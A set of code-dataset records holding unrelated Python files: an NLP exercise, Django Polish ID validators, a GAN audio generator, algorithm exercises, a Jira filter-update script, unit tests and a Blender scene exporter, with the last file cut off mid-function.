+{"seq_id":"214138616","text":"from knock41 import func41,Chunk\nfrom knock40 import Morph\n\nN =100  #参照列数（EOSの数とは無関係）\ncounter = 0\nfor line in func41():\n    if counter > N:\n        break\n    for b in line:\n        #ingnotdouble初期化、bのmorphのPosを参照、動詞であれば原形（？）をingnotdoubleに代入\n        ingnotdouble = ''\n        for morph in b.getMorphs():\n            if morph.getPos1() == 'サ変接続':\n                ingnotdouble = morph.getBase() + 'をする'\n#               print(morph.getBase())\n#               ingnotdouble = morph.getBase()\n        if ingnotdouble == '':\n            continue\n\n        edword = list()\n        edwords = list()\n        for srcs in b.getSrcs():\n            smorphs = line[srcs].getMorphs()\n#            print(smorphs[-1])\n#               --0で名詞、動詞、副詞\n#               --(-1)で助詞、副詞、記号\n#               -->句は主格・主辞（smorphs[0]）の部分と他の要素（smorphs[-1]）より成る\n#            if smorphs[-1].getPos() =='助詞':\n            if smorphs[-1].getPos() == '助詞':\n                edword.append(smorphs[-1].getBase())\n#                print(line[srcs].getSurword())\n                edwords.append(line[srcs].getSurword())\n#            for i in range(len(smorphs)):\n#                if smorphs[i].getPos() != '記号':\n#                    smorph = line[srcs].\n#                    edwords.append(smorphs[i].getBase())\n\n#                    edword = ''.join(edword)\n#                print(smorphs)\n        if len(edword) > 0:\n            posposi = ' '.join(edword)\n            ed = ' '.join(edwords)\n            print('{}\\t{}\\t{}'.format(ingnotdouble,posposi,ed))\n    counter += 1\n","sub_path":"yohta/chapter05/knock47.py","file_name":"knock47.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"620517220","text":"\"\"\"\nPolish-specific form helpers\n\"\"\"\n\nimport re\n\nfrom django.forms import ValidationError\nfrom django.forms.fields import Select, RegexField\nfrom django.utils.translation import ugettext_lazy as _\n\nclass PLProvinceSelect(Select):\n    \"\"\"\n    A select widget with list of Polish administrative provinces as choices.\n    \"\"\"\n    def __init__(self, attrs=None):\n        from pl_voivodeships import VOIVODESHIP_CHOICES\n        super(PLProvinceSelect, self).__init__(attrs, choices=VOIVODESHIP_CHOICES)\n\nclass PLCountiesSelect(Select):\n    \"\"\"\n    A select widget with list of Polish administrative units as choices.\n    \"\"\"\n    def __init__(self, attrs=None):\n        from pl_administrativeunits import ADMINISTRATIVE_UNIT_CHOICES\n        super(PLCountiesSelect, self).__init__(attrs, choices=ADMINISTRATIVE_UNIT_CHOICES)\n\nclass PLPESELField(RegexField):\n    \"\"\"\n    A form field that validates as Polish Identification Number (PESEL).\n\n    Checks the following rules:\n        * the length consist of 11 digits\n        * has a valid checksum\n\n    The algorithm is documented at http://en.wikipedia.org/wiki/PESEL.\n    \"\"\"\n    default_error_messages = {\n        'invalid': _(u'National Identification Number consists of 11 digits.'),\n        'checksum': _(u'Wrong checksum for the National Identification Number.'),\n    }\n\n    def __init__(self, *args, **kwargs):\n        super(PLPESELField, self).__init__(r'^\\d{11}$',\n            max_length=None, min_length=None, *args, **kwargs)\n\n    def clean(self,value):\n        super(PLPESELField, self).clean(value)\n        if not self.has_valid_checksum(value):\n            raise ValidationError(self.error_messages['checksum'])\n        return u'%s' % value\n\n    def has_valid_checksum(self, number):\n        \"\"\"\n        Calculates a checksum with the provided algorithm.\n        \"\"\"\n        multiple_table = (1, 3, 7, 9, 1, 3, 7, 9, 1, 3, 1)\n        result = 0\n        for i in range(len(number)):\n            result += int(number[i]) * multiple_table[i]\n        return result % 10 == 0\n\nclass PLNIPField(RegexField):\n    \"\"\"\n    A form field that validates as Polish Tax Number (NIP).\n    Valid forms are: XXX-XXX-YY-YY or XX-XX-YYY-YYY.\n\n    Checksum algorithm based on documentation at\n    http://wipos.p.lodz.pl/zylla/ut/nip-rego.html\n    \"\"\"\n    default_error_messages = {\n        'invalid': _(u'Enter a tax number field (NIP) in the format XXX-XXX-XX-XX or XX-XX-XXX-XXX.'),\n        'checksum': _(u'Wrong checksum for the Tax Number (NIP).'),\n    }\n\n    def __init__(self, *args, **kwargs):\n        super(PLNIPField, self).__init__(r'^\\d{3}-\\d{3}-\\d{2}-\\d{2}$|^\\d{2}-\\d{2}-\\d{3}-\\d{3}$',\n            max_length=None, min_length=None, *args, **kwargs)\n\n    def clean(self,value):\n        super(PLNIPField, self).clean(value)\n        value = re.sub(\"[-]\", \"\", value)\n        if not self.has_valid_checksum(value):\n            raise ValidationError(self.error_messages['checksum'])\n        return u'%s' % value\n\n    def has_valid_checksum(self, number):\n        \"\"\"\n        Calculates a checksum with the provided algorithm.\n        \"\"\"\n        multiple_table = (6, 5, 7, 2, 3, 4, 5, 6, 7)\n        result = 0\n        for i in range(len(number)-1):\n            result += int(number[i]) * multiple_table[i]\n\n        result %= 11\n        if result == int(number[-1]):\n            return True\n        else:\n            return False\n\nclass PLREGONField(RegexField):\n    \"\"\"\n    A form field that validated as Polish National Official Business Register\n    Number (REGON). Valid numbers contain 7 or 9 digits.\n\n    More on the field: http://www.stat.gov.pl/bip/regon_ENG_HTML.htm\n\n    The checksum algorithm is documented at http://wipos.p.lodz.pl/zylla/ut/nip-rego.html\n    \"\"\"\n    default_error_messages = {\n        'invalid': _(u'National Business Register Number (REGON) consists of 7 or 9 digits.'),\n        'checksum': _(u'Wrong checksum for the National Business Register Number (REGON).'),\n    }\n\n    def __init__(self, *args, **kwargs):\n        super(PLREGONField, self).__init__(r'^\\d{7,9}$',\n            max_length=None, min_length=None, *args, **kwargs)\n\n    def clean(self,value):\n        super(PLREGONField, self).clean(value)\n        if not self.has_valid_checksum(value):\n            raise ValidationError(self.error_messages['checksum'])\n        return u'%s' % value\n\n    def has_valid_checksum(self, number):\n        \"\"\"\n        Calculates a checksum with the provided algorithm.\n        \"\"\"\n        multiple_table_7 = (2, 3, 4, 5, 6, 7)\n        multiple_table_9 = (8, 9, 2, 3, 4, 5, 6, 7)\n        result = 0\n\n        if len(number) == 7:\n            multiple_table = multiple_table_7\n        else:\n            multiple_table = multiple_table_9\n\n        for i in range(len(number)-1):\n            result += int(number[i]) * multiple_table[i]\n\n        result %= 11\n        if result == 10:\n            result = 0\n        if result  == int(number[-1]):\n            return True\n        else:\n            return False\n\nclass PLPostalCodeField(RegexField):\n    \"\"\"\n    A form field that validates as Polish postal code.\n    Valid code is XX-XXX where X is digit.\n    \"\"\"\n    default_error_messages = {\n        'invalid': _(u'Enter a postal code in the format XX-XXX.'),\n    }\n\n    def __init__(self, *args, **kwargs):\n        super(PLPostalCodeField, self).__init__(r'^\\d{2}-\\d{3}$',\n            max_length=None, min_length=None, *args, **kwargs)\n","sub_path":"django/contrib/localflavor/pl/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"519974921","text":"import argparse\n\nimport torch\nfrom torchvision import utils\nfrom model_drum import Generator\nfrom tqdm import tqdm\n\nimport sys\nsys.path.append('./melgan')\nfrom modules import Generator_melgan\n\nimport yaml\nimport os\n\nimport librosa\n\nimport soundfile as sf\n\nimport numpy as np\n\nimport os\ndef read_yaml(fp):\n    with open(fp) as file:\n        # return yaml.load(file)\n        return yaml.load(file, Loader=yaml.Loader)\n\ndef generate(args, g_ema, device, mean_latent):\n    epoch = args.ckpt.split('.')[0]\n\n    os.makedirs(f'{args.store_path}/{epoch}', exist_ok=True)\n    os.makedirs(f'{args.store_path}/{epoch}/mel_80_320', exist_ok=True)\n    feat_dim = 80\n    mean_fp = f'{args.data_path}/mean.mel.npy'\n    std_fp = f'{args.data_path}/std.mel.npy'\n    mean = torch.from_numpy(np.load(mean_fp)).float().view(1, feat_dim, 1).to(device)\n    std = torch.from_numpy(np.load(std_fp)).float().view(1, feat_dim, 1).to(device)\n    vocoder_config_fp = './melgan/args.yml'\n    vocoder_config = read_yaml(vocoder_config_fp)\n\n    n_mel_channels = vocoder_config.n_mel_channels\n    ngf = vocoder_config.ngf\n    n_residual_layers = vocoder_config.n_residual_layers\n    sr=44100\n\n    vocoder = Generator_melgan(n_mel_channels, ngf, n_residual_layers).to(device)\n    vocoder.eval()\n\n    vocoder_param_fp = os.path.join('./melgan', 'best_netG.pt')\n    vocoder.load_state_dict(torch.load(vocoder_param_fp))\n\n\n    with torch.no_grad():\n        g_ema.eval()\n        for i in tqdm(range(args.pics)):\n            sample_z = torch.randn(args.sample, args.latent, device=device)\n\n            sample, _ = g_ema(\n                [sample_z], truncation=args.truncation, truncation_latent=mean_latent\n            )\n            np.save(f'{args.store_path}/{epoch}/mel_80_320/{i}.npy', sample.squeeze().data.cpu().numpy())\n\n            utils.save_image(\n                sample,\n                f\"{args.store_path}/{epoch}/{str(i).zfill(6)}.png\",\n                nrow=1,\n                normalize=True,\n                range=(-1, 1),\n            )\n            de_norm = sample.squeeze(0) * std + mean\n            audio_output = vocoder(de_norm)\n            sf.write(f'{args.store_path}/{epoch}/{i}.wav', audio_output.squeeze().detach().cpu().numpy(), sr)\n            print('generate {}th wav file'.format(i))\n@torch.no_grad()\ndef style_mixing(args, generator, step, mean_style, n_source, n_target, device, j):\n    index = 2\n    # create directory\n    os.makedirs(f'./generated_interpolation_one_bar_{index}/{j}', exist_ok=True)\n\n    # load melgan vocoder\n    feat_dim = 80\n    mean_fp = f'{args.data_path}/mean.mel.npy'\n    std_fp = f'{args.data_path}/std.mel.npy'\n    mean = torch.from_numpy(np.load(mean_fp)).float().view(1, feat_dim, 1).to(device)\n    std = torch.from_numpy(np.load(std_fp)).float().view(1, feat_dim, 1).to(device)\n    vocoder_config_fp = './melgan/args.yml'\n    vocoder_config = read_yaml(vocoder_config_fp)\n\n    n_mel_channels = vocoder_config.n_mel_channels\n    ngf = vocoder_config.ngf\n    n_residual_layers = vocoder_config.n_residual_layers\n    sr=44100\n\n    vocoder = Generator_melgan(n_mel_channels, ngf, n_residual_layers).to(device)\n    vocoder.eval()\n\n    vocoder_param_fp = os.path.join('./melgan', 'best_netG.pt')\n    vocoder.load_state_dict(torch.load(vocoder_param_fp))\n\n    #generate spectrogram\n    source_code = torch.randn(n_source, 512).to(device)\n    target_code = torch.randn(n_target, 512).to(device)\n\n    shape = 4 * 2 ** step\n    alpha = 1\n\n    images = [torch.ones(1, 1, 80, 320).to(device) * -1]\n\n    source_image,_ = generator(\n        [source_code], truncation=args.truncation, truncation_latent=mean_style\n    )\n    target_image,_ = generator(\n        [target_code], truncation=args.truncation, truncation_latent=mean_style\n    )\n\n    images.append(source_image)\n\n    for i in range(n_source):\n        de_norm = source_image[i] * std + mean\n        audio_output = vocoder(de_norm)\n        sf.write(f'./generated_interpolation_one_bar_{index}/{j}/source_{i}.wav', audio_output.squeeze().detach().cpu().numpy(), sr)\n\n    for i in range(n_target):\n        de_norm = target_image[i] * std + mean\n        audio_output = vocoder(de_norm)\n        sf.write(f'./generated_interpolation_one_bar_{index}/{j}/target_{i}.wav', audio_output.squeeze().detach().cpu().numpy(), sr)\n\n    for i in range(n_target):\n        image, _ = generator(\n            [target_code[i].unsqueeze(0).repeat(n_source, 1), source_code],\n            truncation_latent=mean_style,\n            inject_index = index\n        )\n\n        for k in range(n_source):\n            de_norm = image[k] * std + mean\n            audio_output = vocoder(de_norm)\n            sf.write(f'./generated_interpolation_one_bar_{index}/{j}/source_{k}_target_{i}.wav', audio_output.squeeze().detach().cpu().numpy(), sr)\n\n        images.append(target_image[i].unsqueeze(0))\n        images.append(image)\n\n    images = torch.cat(images, 0)\n    utils.save_image(\n            images, f'./generated_interpolation_one_bar_{index}/{j}/sample_mixing.png', nrow=args.n_col + 1, normalize=True, range=(-1, 1)\n    )\n    return images\nif __name__ == \"__main__\":\n    device = \"cuda\"\n\n    parser = argparse.ArgumentParser(description=\"Generate samples from the generator\")\n\n    parser.add_argument(\n        \"--size\", type=int, default=64, help=\"output image size of the generator\"\n    )\n    parser.add_argument(\n        \"--sample\",\n        type=int,\n        default=1,\n        help=\"number of samples to be generated for each image\",\n    )\n    parser.add_argument(\n        \"--pics\", type=int, default=20, help=\"number of images to be generated\"\n    )\n    parser.add_argument(\"--truncation\", type=float, default=1, help=\"truncation ratio\")\n    parser.add_argument(\n        \"--truncation_mean\",\n        type=int,\n        default=4096,\n        help=\"number of vectors to calculate mean for the truncation\",\n    )\n    parser.add_argument(\n        \"--ckpt\",\n        type=str,\n        default=\"stylegan2-ffhq-config-f.pt\",\n        help=\"path to the model checkpoint\",\n    )\n    parser.add_argument(\n        \"--data_path\",\n        type=str,\n        help=\"path store the std and mean of mel\",\n    )\n    parser.add_argument(\n        \"--store_path\",\n        type=str,\n        help=\"path store the generated audio\",\n    )\n    parser.add_argument(\n        \"--channel_multiplier\",\n        type=int,\n        default=2,\n        help=\"channel multiplier of the generator. config-f = 2, else = 1\",\n    )\n    parser.add_argument(\"--style_mixing\", action = \"store_true\")\n    parser.add_argument('--n_row', type=int, default=3, help='number of rows of sample matrix')\n    parser.add_argument('--n_col', type=int, default=5, help='number of columns of sample matrix')\n    args = parser.parse_args()\n\n    args.latent = 512\n    args.n_mlp = 8\n\n    g_ema = Generator(\n        args.size, args.latent, args.n_mlp, channel_multiplier=args.channel_multiplier\n    ).to(device)\n    checkpoint = torch.load(args.ckpt)\n\n    g_ema.load_state_dict(checkpoint[\"g_ema\"])\n\n    if args.truncation < 1:\n        with torch.no_grad():\n            mean_latent = g_ema.mean_latent(args.truncation_mean)\n    else:\n        mean_latent = None\n\n    # Generate audio\n    generate(args, g_ema, device, mean_latent)\n\n    #Style mixing\n    if args.style_mixing == True:\n        step = 0\n        for j in range(20):\n            img = style_mixing(args,g_ema, step, mean_latent, args.n_col, args.n_row, device, j)\n","sub_path":"generate_audio.py","file_name":"generate_audio.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"557234454","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n    数组中重复的数字\n    ~~~~~~~~~~~~~~~~\n    找出数组中重复的数字：在长度为 n 的数组里所有数字都在 0 ～ n-1 的范围内。\n    数组中某数字是重复的，但不知道有几个数字重复，也不知道每个数字重复了多少次。\n    请找出数组中任意一个重复的数字。\n    例如：如果输入长度为 7 的数组 [2, 3, 1, 0, 2, 5, 3] 输出重复数字 2 或 3 。\n\"\"\"\n\n\n# 诡异的思路\ndef duplicate(numbers, n):\n    for num in numbers:\n        if num < 0 or num > n:\n            return []\n    for i in range(n):\n        while numbers[i] != i:\n            if numbers[i] == numbers[numbers[i]]:\n                return numbers[i]\n            tmp = numbers[i]\n            numbers[i] = numbers[tmp]\n            numbers[tmp] = tmp\n    return []\n\n\n# 直观思路：遍历数组并使用集合记录\ndef duplicate2(numbers, n):\n    seen = set()\n    for num in numbers:\n        if num in seen and num > 0 and num <= n:\n            yield num\n        seen.add(num)\n\n\nif __name__ == '__main__':\n    numbers = [2, 3, 1, 0, 2, 5, 3]\n    r = duplicate(numbers, len(numbers))\n    print(r)\n    print(set(duplicate2(numbers, len(numbers))))\n","sub_path":"src/problems/p15_duplicate_number_in_array.py","file_name":"p15_duplicate_number_in_array.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"267976634","text":"#Determine what status each of the linked attributes for a view is in\r\nfrom jira import JIRA\r\nimport json\r\nimport requests\r\nimport getpass\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.backends.backend_pdf import PdfPages\r\nfrom pandas.io.json import json_normalize\r\nimport time\r\nimport datetime\r\nimport matplotlib.patches as patches\r\nimport numpy as np\r\nfrom pandas.tseries.offsets import BDay\r\nfrom apscheduler.schedulers.blocking import BlockingScheduler\r\nstart = time.perf_counter()\r\n\r\n#Get User credentials for JIRA authorization\r\nusername = input('Enter your user name: ')\r\npassword = getpass.getpass(prompt=\"Enter Password\")\r\njira = JIRA(basic_auth = (username, password), options = {'server': 'https://jira.troweprice.com'})\r\n\r\n#datafromjson = requests.get('https://jira.troweprice.com/rest/api/2/search?jql=filter%20%3D%2043915%20AND%20issueFunction%20in%20hasComments()', auth=(username, password)).content\r\n#datafromjson = pd.read_json(datafromjson, typ='series', orient='columns')\r\n#datafromjson = json_normalize(datafromjson['issues'])\r\nclass S(str):\r\n    def __contains__(self, x):\r\n        for i in range(len(self)):\r\n            if self.startswith(x,i): return 1\r\n\r\ndef synthesisUpdate():\r\n    priority = jira.search_issues('filter = 43915 and status in (\"Ready For Prioritization\", Dev, Blocked, \"Needs More Information\", \"Prioritized\") and Synthesis is not EMPTY')\r\n    earliest = datetime.datetime.today()-BDay(6)\r\n    newlist=[]\r\n    string = 'key in ('\r\n    Key=[]\r\n    for issue in priority:\r\n        key = S(issue.key)\r\n        Key.append(key)\r\n        issuefromjson = jira.issue(key, expand='changelog')\r\n        synthesis = issue.fields.customfield_17001[0:6]\r\n        changelog = issuefromjson.changelog\r\n        for history in changelog.histories:\r\n            for item in history.items:\r\n                if (item.field == \"Synthesis\"):\r\n                    date2 = datetime.datetime.strptime(history.created[0:10], '%Y-%m-%d')\r\n                    if date2 > earliest:\r\n                        newlist.append(key)\r\n\r\n    final_list = [i for i in newlist + Key if i not in Key or i not in newlist]\r\n    #print(final_list)\r\n\r\n        #newlist = [x for x in idw if synthesis in x]\r\n    for ticket in final_list:\r\n        string = string + ticket + ','\r\n    string = string[:-1]\r\n    string=string + ')'\r\n    #print(string)\r\n    jira.update_filter(48000, jql=string)\r\n    d = str(datetime.datetime.now()).split('.')[0]\r\n    print(f'Synthesis Update completed at {d}')\r\ndef commentsGreaterThanSynthesis():\r\n    priority = jira.search_issues('filter = 43915 and status not in (Accepted, rejected, qa) AND Synthesis is not EMPTY AND issueFunction in hasComments()')\r\n    string = 'key in ('\r\n    for issue in priority:\r\n        currentID = issue.key\r\n        status = S(issue.fields.status)\r\n        issuefromjson = jira.issue(currentID, expand='changelog')\r\n        results = issuefromjson.fields.comment.maxResults -1\r\n        c = issuefromjson.fields.comment.comments[results]\r\n        lastcomment = c.created\r\n        changelog = issuefromjson.changelog\r\n        for history in changelog.histories:\r\n            for item in history.items:\r\n                if (item.field == \"Synthesis\"):\r\n                    date2 = history.created\r\n        if lastcomment > date2:\r\n            string = string + currentID + ','\r\n    string = string[:-1]\r\n    string=string + ')'\r\n    #print(string)\r\n    jira.update_filter(48014, jql=string)\r\n    d = str(datetime.datetime.now()).split('.')[0]\r\n    print(f'Comments greater than synthesis completed at {d}')\r\nsynthesisUpdate()\r\ncommentsGreaterThanSynthesis()\r\nscheduler = BlockingScheduler()\r\nscheduler.add_job(synthesisUpdate, 'interval', minutes=15)\r\nscheduler.add_job(commentsGreaterThanSynthesis, 'interval', minutes=15)\r\nscheduler.start()\r\nprint('done')\r\n        #print(f\"author {c.author.displayName}\")\r\n","sub_path":"filterupdate.py","file_name":"filterupdate.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"49227096","text":"# By Zhufyak V.V\n# zhufyakvv@gmail.com\n# github.com/zhufyakvv\n# 19.09.2017\n\n\ndef getVectorRow(matrix, getRow):\n    result = []\n    for i in matrix:\n        result.append(getRow(i))\n    return result\n\n\ndef getVectorCol(matrix, getCol):\n    result = []\n    for i in range(0, len(matrix[0])):\n        tmp = []\n        for j in range(0, len(matrix)):\n            tmp.append(matrix[j][i])\n        result.append(getCol(tmp))\n    return result\n\n\ndef getVectorSum(vector):\n    result = 0\n    for i in vector:\n        result += i\n    return result\n\n\ndef printBy(array, amount=5):\n    line = \"\"\n    for key, value in enumerate(array):\n        line += str(value) + \" \"\n        if (key + 1) % amount == 0:\n            print(line)\n            line = \"\"\n    print(line)\n\n\nn = int(input(\"Set size of matrix...\"))\nn = 15 if n > 15 else n\n\nmatrix = []\n\nfor i in range(0, n):\n    matrix.append([])\n    for j in range(0, n):\n        matrix[i].append(int(input()))\n\nresultA = getVectorRow(matrix, getVectorSum)\nresultB = getVectorCol(matrix, getVectorSum)\n\nprintBy(resultA)\nprintBy(resultB)\n","sub_path":"_3.py","file_name":"_3.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"391250534","text":"def prepare_matrix(n, m):\n    matrix = []\n    for i in range(0, n):\n        row = [0] * m\n        matrix.append(row)\n    return matrix\n\ndef read_nml():\n    buf = input().strip().split(' ')\n    return [int(buf[0]), int(buf[1]), int(buf[2])]\n\ndef read_matrix(matrix, n, m):\n    for y in range(0, n):\n        buf = input().strip().split(' ')\n        for x in range(0, m):\n            matrix[y][x] = int(buf[x])\n\ndef product(matrix_a, matrix_b, answer):\n    trans_matrix_b = trans(matrix_b)\n    for y_a in range(0, len(matrix_a)):\n        for y_b in range(0, len(trans_matrix_b)):\n            _dot = dot(matrix_a[y_a], trans_matrix_b[y_b])\n            answer[y_a][y_b] = _dot\n\ndef dot(vector_a, vector_b):\n    _sum = 0\n    for a, b in zip(vector_a, vector_b):\n        _sum += a * b\n    return _sum\n\ndef write_matrix(matrix):\n    for y in range(0, len(matrix)):\n        print(' '.join([str(x) for x in matrix[y]]))\n\ndef trans(matrix):\n    m = len(matrix)\n    n = len(matrix[0])\n    result = prepare_matrix(n, m)\n    for y in range(0, n):\n        for x in range(0, m):\n            result[y][x] = matrix[x][y]\n    return result\n\ndef main():\n    n, m, l = read_nml()\n    matrix_a = prepare_matrix(n, m)\n    matrix_b = prepare_matrix(m, l)\n    answer = prepare_matrix(n, l)\n    read_matrix(matrix_a, n, m)\n    read_matrix(matrix_b, m, l)\n    product(matrix_a, matrix_b, answer)\n    write_matrix(answer)\n\nmain()\n","sub_path":"aoj/ITP/python3/ITP1_7_D.py","file_name":"ITP1_7_D.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"371785518","text":"#!/usr/bin/python3\n\nfrom unittest.mock import patch\nimport unittest\nimport manager\nimport job\n\nclass TestManager(unittest.TestCase):\n    def setUp(self):\n        self.sched_cfg = {\n                'tmpdir_stagger_phase_major': 3,\n                'tmpdir_stagger_phase_minor': 0,\n                'tmpdir_max_jobs': 3 }\n\n    @patch('job.Job')\n    def job_w_tmpdir_phase(self, tmpdir, phase, MockJob):\n        j = MockJob()\n        j.progress.return_value = phase\n        j.tmpdir = tmpdir\n        return j\n\n    @patch('job.Job')\n    def job_w_dstdir_phase(self, dstdir, phase, MockJob):\n        j = MockJob()\n        j.progress.return_value = phase\n        j.dstdir = dstdir\n        return j\n\n    def test_permit_new_job_post_milestone(self):\n        self.assertTrue(manager.phases_permit_new_job(\n            [ (3, 8), (4, 1) ], self.sched_cfg ))\n\n    def test_permit_new_job_pre_milestone(self):\n        self.assertFalse(manager.phases_permit_new_job(\n            [ (2, 3), (4, 1) ], self.sched_cfg ))\n\n    def test_permit_new_job_too_many_jobs(self):\n        self.assertFalse(manager.phases_permit_new_job(\n            [ (3, 1), (3, 2), (3, 3) ], self.sched_cfg ))\n\n    def test_dstdirs_to_furthest_phase(self):\n        all_jobs = [ self.job_w_dstdir_phase('/plots1', (1, 5)),\n                     self.job_w_dstdir_phase('/plots2', (1, 1)),\n                     self.job_w_dstdir_phase('/plots2', (3, 1)),\n                     self.job_w_dstdir_phase('/plots2', (2, 1)),\n                     self.job_w_dstdir_phase('/plots3', (4, 1)) ]\n\n        self.assertEqual(\n                { '/plots1' : (1, 5),\n                  '/plots2' : (3, 1),\n                  '/plots3' : (4, 1) },\n                manager.dstdirs_to_furthest_phase(all_jobs))\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"manager_test.py","file_name":"manager_test.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"373466583","text":"#!BPY\n\"\"\"Registration info for Blender menus:\nName: '2014 COSC342 scene description (.txt)...'\nBlender: 269\nGroup: 'Export'\nTooltip: 'Export for the COSC342 2014 raytracer scene file'\n\"\"\"\n##########################################################\n# Blender exporter for 342 raytracer scene files\n##########################################################\n\nbl_info = {\n    \"name\": \"COSC342 export\",\n    \"description\": \"Export for the COSC342 raytracer scene file-2014\",\n    \"author\": \"Raymond Scurr, David Eyers\",\n    \"version\": (1, 0),\n    \"blender\": (2, 65, 0),\n    \"location\": \"View3D > File > Export\",\n    \"warning\": \"Bugs ahoy!\",\n    \"wiki_url\": \"http://wiki.blender.org/index.php/Extensions:2.5/Py/\"\n                \"Scripts/My_Script\",\n    \"category\": \"Import-Export\"}\n\n####################################\n# Global Variables\n####################################\n\n# If false, will overwrite files without asking.\n# ... not implemented in this 2.6x plugin yet\n_safeOverwrite = False \n\n# Private, don't change these\n_file = None\n\n####################################\n# Library dependancies\n####################################\nimport bpy\nfrom bpy.props import *\n\nimport mathutils, math, struct\nimport os\nimport time\nimport bpy_extras\nfrom bpy_extras.io_utils import ExportHelper \nimport shutil\n\nfrom bpy.types import World, Camera, Object, Mesh, MetaBall, Material, Lamp\n\n##########################################################\n# Functions for writing output file\n##########################################################\ndef export_file(context,filename):\n  global _file\n  _file = open(filename,\"w\")\n  \n  print(\"\")\n  print(\"*** Exporting scene file to:\")\n  print(\" \", filename)\n  writeFile(context,_file)\n  _file.close()\n  print(\"*** Done\")\n\n########################################################\n# Functions for writing scene structure\n########################################################\n\ndef writeFile(context,file):\n  # World details\n  writeWorld(context)\n\n  # Three loop structure just for logic simplicity.\n  # Could produce object groups more nicely...\n\n  # Get the scene objects\n  objects = context.scene.objects\n  \n  # Camera\n  for obj in objects:\n    if obj.type == \"CAMERA\":\n      writeCamera(obj)\n\n  # Lights\n  _file.write(\"\\n\")\n  _file.write(\"# Outputting the lights in the scene\\n\")\n  _file.write(\"# NOTE: Converted all blender light sources to point lights\\n\")\n  _file.write(\"\\n\")\n  for obj in objects:\n    if obj.type == \"LAMP\":\n      writeLamp(obj)\n\n  # Objects\n  _file.write(\"\\n\\n\")\n  _file.write(\"# Outputting the objects in the scene\\n\")\n  _file.write(\"# NOTE: Converted all Meshes as spheres\\n\")\n  for obj in objects:\n    if obj.type == \"MESH\" :\n      print(\"Exporting Object : \\\"%s\\\" \" % (obj.name))\n      _file.write(\"\\n# Exported Object : \\\"%s\\\" \\n\" % (obj.name))\n      _file.write(\"sphere\\n\")\n      writeMaterialProperties(obj.material_slots)\n      writeTransformation(obj)\n      \n  # Done!\n  _file.write(\"\\nendview\\n\")\n\n\n#############################################################\n# Functions for exporting Objects\n#############################################################\ndef writeMaterialProperties(materials):\n  if (len(materials) > 1):\n    print(\"\")\n    print(\"Warning: Object has more than one material.\")\n    print(\"Only one material property will be output!!\")\n    print(\"\")\n    _file.write(\"\\n# Multiple Materials not exported.\\n\")\n  if (len(materials) == 0):\n    writeDefaultMaterial()\n  else:\n    writeMaterial(materials[0].material)\n\n\n############################################################\n# Functions for exporting material data\n############################################################\n\n# Exporting default material\ndef writeDefaultMaterial():\n  _file.write(\"ambient   0.500 0.500 0.500\\n\")\n  _file.write(\"diffuse   0.640 0.640 0.640\\n\")\n  _file.write(\"specular  0.500 0.500 0.500  50.00\\n\")\n  _file.write(\"mirror    0.000 0.000 0.000\\n\")\n  _file.write(\"texture   0\\n\")\n\n# Exporting material\ndef writeMaterial(mat):\n  # should try to better match past exporters' output\n  amb = min(float(mat.ambient),1.0)\n  _file.write(\"ambient   %.3f %.3f %.3f\\n\" % (amb,amb,amb))\n  _file.write(\"diffuse   %.3f %.3f %.3f\\n\" % scaleColour(mat.diffuse_color,mat.diffuse_intensity))\n  _file.write(\"specular  %.3f %.3f %.3f  \" % scaleColour(mat.specular_color,mat.specular_intensity))\n  _file.write(\"%.3f\\n\" % (mat.specular_hardness))\n  _file.write(\"mirror    %.3f %.3f %.3f\\n\" % scaleColour(mat.mirror_color,mat.raytrace_mirror.reflect_factor))\n  _file.write(\"texture   0\\n\")\n\ndef scaleColour(c,s):\n  return tuple([v*s for v in c])\n\n\n#########################################################\n# Functions for exporting details about the World\n#########################################################\ndef writeWorld(context):\n  print(\"Exporting the World\")\n\n  ## Some hard coded values for the view screen\n  ## Rather dodgy, and may need to be fixed!!!\n  ##\n  _file.write(\"\\n\")\n  _file.write(\"# default value for the size of the image to be created\\n\")\n  _file.write(\"imagesize     320 \\n\")\n  _file.write(\"\\n\")\n\n  ## An attempt to get some information about the world\n  ## Background == Horizon\n  _file.write(\"# The background colour of the scene\\n\")\n  _file.write(\"# -- using the blender 'horizon' value\\n\")\n  hor = context.scene.world.horizon_color\n  _file.write(\"background    %.3f %.3f %.3f\\n\" % tuple(hor) )\n  _file.write(\"\\n\")\n\n  ## Get some information about the world\n  _file.write(\"# The ambient lighting of the scene\\n\")\n  amb = tuple([min(c*2.0,1.0) for c in tuple(context.scene.world.ambient_color)])\n  _file.write(\"ambient       %.3f %.3f %.3f\\n\" % amb)\n  _file.write(\"\\n\")\n  \n  \n#########################################################\n# Functions for exporting camera data\n#########################################################\ndef writeCamera(obj):\n  print(\"Exporting Camera : \\\"%s\\\"\" % (obj.name))\n\n  _file.write(\"# the default camera is located at the origin\\n\")\n  _file.write(\"# the default viewplane has corners\\n\")\n  _file.write(\"# --  top left:     (-16,  16, -lens) \\n\")\n  _file.write(\"# --  bottom right: ( 16, -16, -lens) \\n\")\n  _file.write(\"# ((Actually, Blender uses a 32*24 viewplane))\\n\")\n  _file.write(\"# \\n\")\n\n  ## The camera's 'lens'  -- distance to standard viewplane (32 * 24)\n  cam = obj.data.lens\n  _file.write(\"lens  %.3f\\n\" % (cam) )\n\n  ## Output the camera transformation\n  